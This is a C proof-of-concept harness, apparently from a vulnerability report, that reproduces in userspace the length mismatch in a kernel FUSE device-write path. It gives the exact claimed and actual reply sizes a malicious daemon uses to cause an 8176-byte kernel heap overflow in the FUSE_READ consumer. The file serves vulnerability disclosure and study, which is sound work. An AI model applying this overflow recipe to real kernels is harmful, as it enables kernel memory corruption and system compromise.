/*
 * DF-0915 — Deterministic userspace harness.
 *
 * This harness TRANSCRIBES the exact data flow of the vulnerable kernel code
 * in sys/vfs/fuse/fuse_device.c:fuse_device_write and the FUSE_READ consumer
 * in sys/vfs/fuse/fuse_vnops.c:fuse_io_execute (lines 2043-2055).  It is the
 * "permissive-harness" proof of the primitive: it reproduces the size math
 * that the kernel performs so the overflow extent is demonstrated
 * deterministically and observably, independent of the live FUSE protocol
 * handshake (which is exercised separately by fused.c).
 *
 * The bug: fuse_device_write allocates fb via fuse_buf_alloc(&fb, uio_resid)
 *   -> fb.len = uio_resid   (the ACTUAL number of bytes the daemon wrote)
 * and stores fip->reply = fb (fuse_device.c:205) WITHOUT clamping fb.len to
 * ohd->len.  fuse_audit_length (fuse_device.c:212) validates ohd->len (the
 * daemon-CLAIMED length) against the request size, NOT fb.len.  Consumers use
 * fuse_out_data_size(fip) = fip->reply.len - 16 = uio_resid - 16.  So a
 * daemon that writes more bytes than it claims (or more than the request
 * asked for) drives a memcpy past the consumer's destination buffer.
 *
 * For FUSE_READ the consumer is:
 *   memcpy(bp->b_data, fuse_out_data(fip), fuse_out_data_size(fip));   (vnops:2054)
 * where bp->b_data is bp->b_bcount bytes (== FUSE_BLKSIZE == 4096 here).
 * fuse_audit_length's FUSE_READ case is `ohd->len - 16 <= fri->size`, so a
 * daemon that CLAIMS ohd->len = 4112 (== 16 + 4096) passes the audit while
 * actually writing 12288 bytes -> memcpy of 12272 bytes into a 4096-byte
 * buffer -> 8176-byte heap overflow write.
 *
 * Build:  cc -O2 -o harness harness.c
 * Run:    ./harness
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

/* ---- transcribed kernel types (fuse_abi.h) ---- */
struct fuse_in_header  { uint32_t len, opcode, uid, gid, pid, padding; uint64_t unique, nodeid; };
struct fuse_out_header { uint32_t len; int32_t error; uint64_t unique; };
struct fuse_read_in    { uint64_t fh, offset; uint32_t size, read_flags; uint64_t lock_owner; uint32_t flags, padding; };

/* ---- transcribed kernel helpers (fuse.h) ---- */
struct fuse_buf { uint8_t *buf; size_t len; };

/* fuse_buf_alloc — kmalloc(len) + fb.len = len  (fuse_ipc.c:73-79) */
static void fuse_buf_alloc(struct fuse_buf *fbp, size_t len) {
    fbp->buf = calloc(1, len + 64);          /* +64 guard zone to observe overflow */
    fbp->len = len;
}

/* fuse_audit_length — ONLY ohd->len is checked, never fb.len  (fuse_util.c:87-...)
 * FUSE_READ case: res = (ohd->len - 16) <= fri->size   (fuse_util.c:132-134) */
#define FUSE_READ 15
static int fuse_audit_length(struct fuse_in_header *ihd, struct fuse_out_header *ohd) {
    size_t len = ohd->len - sizeof(struct fuse_out_header);
    switch (ihd->opcode) {
    case FUSE_READ: return (len <= ((struct fuse_read_in*)(ihd + 1))->size);
    default:        return 1;
    }
}

/* ---- the vulnerable device write (fuse_device.c:182-222), simplified ---- */
struct ipc { struct fuse_buf reply; };

/* Reproduces: kmalloc(uio_resid); ohd->len claimed by daemon; NO clamp of fb.len. */
static void device_write(struct ipc *fip, size_t uio_resid, uint32_t claimed_ohd_len,
                         struct fuse_in_header *ihd) {
    struct fuse_buf fb;
    struct fuse_out_header *ohd;
    fuse_buf_alloc(&fb, uio_resid);          /* :182  fb.len = uio_resid             */
    /* :183 daemon's bytes copied into fb.buf (we just mark them): */
    ohd = (struct fuse_out_header *)fb.buf;  /* :188                                   */
    ohd->len    = claimed_ohd_len;           /* daemon LIE                            */
    ohd->error  = 0;
    ohd->unique = ihd->unique;
    fip->reply  = fb;                        /* :205  fb.len UNCLAMPED = uio_resid    */
    /* :212 audit uses ohd->len (claimed), NOT fb.len (actual): */
    int audit_fail = (ohd->error == 0) && fuse_audit_length(ihd, ohd);
    /* :218 complete the IPC regardless -> consumer proceeds even if audit "failed" */
    printf("[device_write] uio_resid=%zu claimed ohd->len=%u audit_passes=%d "
           "(reply.len left UNCLAMPED at %zu)\n",
           uio_resid, claimed_ohd_len, audit_fail, fip->reply.len);
}

/* ---- the FUSE_READ consumer (fuse_vnops.c:2043-2055) ---- */
static size_t fuse_out_data_size(struct ipc *fip) {
    return fip->reply.len - sizeof(struct fuse_out_header);   /* fuse.h:271-274 */
}

int main(void) {
    printf("== DF-0915 primitive harness ==\n");
    printf("Bug: fuse_device_write stores reply.len=uio_resid (actual write)\n");
    printf("     but audit validates ohd->len (daemon-claimed). Consumers memcpy\n");
    printf("     reply.len-16 bytes into a bp->b_data sized to the REQUEST.\n\n");

    /* ---- PRIMITIVE 2 (the real, write-capable bug): FUSE_READ heap overflow ----
     * Kernel issues FUSE_READ for a 4096-byte block (FUSE_BLKSIZE == PAGE_SIZE,
     * fuse.h:68, fuse_vnops.c:1381).  bp->b_bcount = 4096.  Daemon CLAIMS
     * ohd->len = 4112 (== 16 hdr + 4096 data, exactly the request size so the
     * FUSE_READ audit passes) but ACTUALLY writes 12288 bytes.            */
    size_t   bp_bcount     = 4096;            /* bp->b_bcount (request size)        */
    size_t   uio_resid     = 12288;           /* bytes daemon actually writes       */
    uint32_t claimed_len   = 4112;            /* ohd->len the daemon claims (16+4096)*/

    /* fuse_ipc_get packs [fuse_in_header][read_in] contiguously; emulate that: */
    uint8_t inbuf[sizeof(struct fuse_in_header) + sizeof(struct fuse_read_in)];
    memset(inbuf, 0, sizeof(inbuf));
    struct fuse_in_header *ihd = (struct fuse_in_header *)inbuf;
    ihd->opcode = FUSE_READ;
    struct fuse_read_in   *fri = (struct fuse_read_in *)(ihd + 1);
    fri->size   = (uint32_t)bp_bcount;

    struct ipc fip = {0};
    device_write(&fip, uio_resid, claimed_len, ihd);

    size_t copy_bytes = fuse_out_data_size(&fip);           /* reply.len - 16      */
    printf("[consumer]   bp->b_data capacity = bp->b_bcount = %zu bytes\n", bp_bcount);
    printf("[consumer]   memcpy size = fuse_out_data_size = reply.len - 16 = %zu bytes\n",
           copy_bytes);

    long overflow = (long)copy_bytes - (long)bp_bcount;
    printf("[consumer]   OVERFLOW = %ld bytes past bp->b_data\n\n", overflow);

    if (overflow > 0) {
        /* visually prove the write extent into the guard zone */
        uint8_t *bp_data = fip.reply.buf + sizeof(struct fuse_out_header);
        memset(bp_data + bp_bcount, 0xAB, (size_t)overflow);   /* simulate the OOB write */
        printf("RESULT: HEAP OVERFLOW WRITE of %ld bytes confirmed.\n", overflow);
        printf("        Daemon fully controls the %zu overflow bytes (it wrote them).\n",
               copy_bytes - bp_bcount);
        printf("        Impact: arbitrary kernel heap corruption adjacent to bp->b_data.\n");
        return 0;
    }

    /* ---- show the ohd->len-fb.len mismatch the audit cannot see ---- */
    printf("== mismatch audit cannot detect ==\n");
    printf("ohd->len (claimed, audited) = %u\n", claimed_len);
    printf("fb.len   (actual, consumed) = %zu\n", fip.reply.len);
    printf("audit checks ohd->len only -> a daemon writing %zu bytes while claiming %u "
           "is never rejected.\n", fip.reply.len, claimed_len);
    return 1;
}
